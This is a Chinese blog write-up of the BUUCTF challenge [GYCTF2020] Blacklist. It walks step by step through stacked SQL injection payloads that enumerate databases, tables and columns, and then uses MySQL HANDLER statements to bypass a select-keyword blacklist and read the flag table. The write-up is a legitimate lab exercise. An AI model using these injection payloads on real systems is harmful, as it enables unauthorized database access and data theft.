[GYCTF2020]Blacklist1-BUUCTF-详解

本文描述了一次SQL注入攻击尝试,攻击者利用MySQL的HANDLER语句特性打开并操作名为FlagHere的表,以绕过过滤字符,最终成功获取flag。
摘要由CSDN通过智能技术生成

打开题目,有一个1直接点击提交看看,返回了一组数组

然后加上一个单引号在提交。出现了报错,说明存在sql注入猜测是堆叠注入

为了防止1的干涉,用2来进行但是只输入2是没有回应的

所以使用2';show databases;#  来查看所有的数据库

然后来输入2'; show tables;#来查看数据库的表

然后我们通过FlagHere表来查看列输入2';show columns from FlagHere;# 来查看列

到了这一步了,我觉得就可以直接查看flag了,但是我查询的时候却出现了过滤字符

命令为2';select flag from FlagHere ;#这里我没有用反引号,我做题看有一个大佬在FlagHere上加了反引号,代表整个FlagHere是一个表的意思,但是不加也是一样的效果

没有得到flag于是我们想到/**/可以绕过检查所以构造playload为2';s/**/elect flag from FlagHere;#但是结果啥都没有

然后查看网上的大佬还有这种方式

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

  • HANDLER tbl_name OPEN [ [AS] alias]
     
    HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
        [ WHERE where_condition ] [LIMIT ... ]
    HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
        [ WHERE where_condition ] [LIMIT ... ]
    HANDLER tbl_name READ { FIRST | NEXT }
        [ WHERE where_condition ] [LIMIT ... ]
     
    HANDLER tbl_name CLOSE

  • 然后我们重新构造playload为0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

  • 0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;# 这段SQL代码片段看起来像是针对MySQL数据库的SQL注入攻击尝试,它利用了MySQL特定的句法特性(如HANDLER语句)来尝试获取或操作名为 FlagHere 的表的数据

  • HANDLER FlagHere OPEN:在MySQL中,HANDLER语句用于处理存储过程内部的表或临时表。这个命令会打开一个名为 FlagHere 的表以进行行级锁定和读取操作。

  • HANDLER FlagHere READ FIRST:紧接着,READ FIRST 指令尝试从已打开的 FlagHere 表中读取第一条记录。

  • HANDLER FlagHere CLOSE:最后,CLOSE 命令用于关闭先前通过 OPEN 语句打开的表句柄,释放相关资源。

  • ; 分号用于分隔不同的SQL命令。

  • # 在MySQL中通常表示注释符,用于注释掉该符号后面直到行尾的内容,但在这里可能是企图绕过某些安全检查。

  • 获取到flag解题成功

  • 33
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值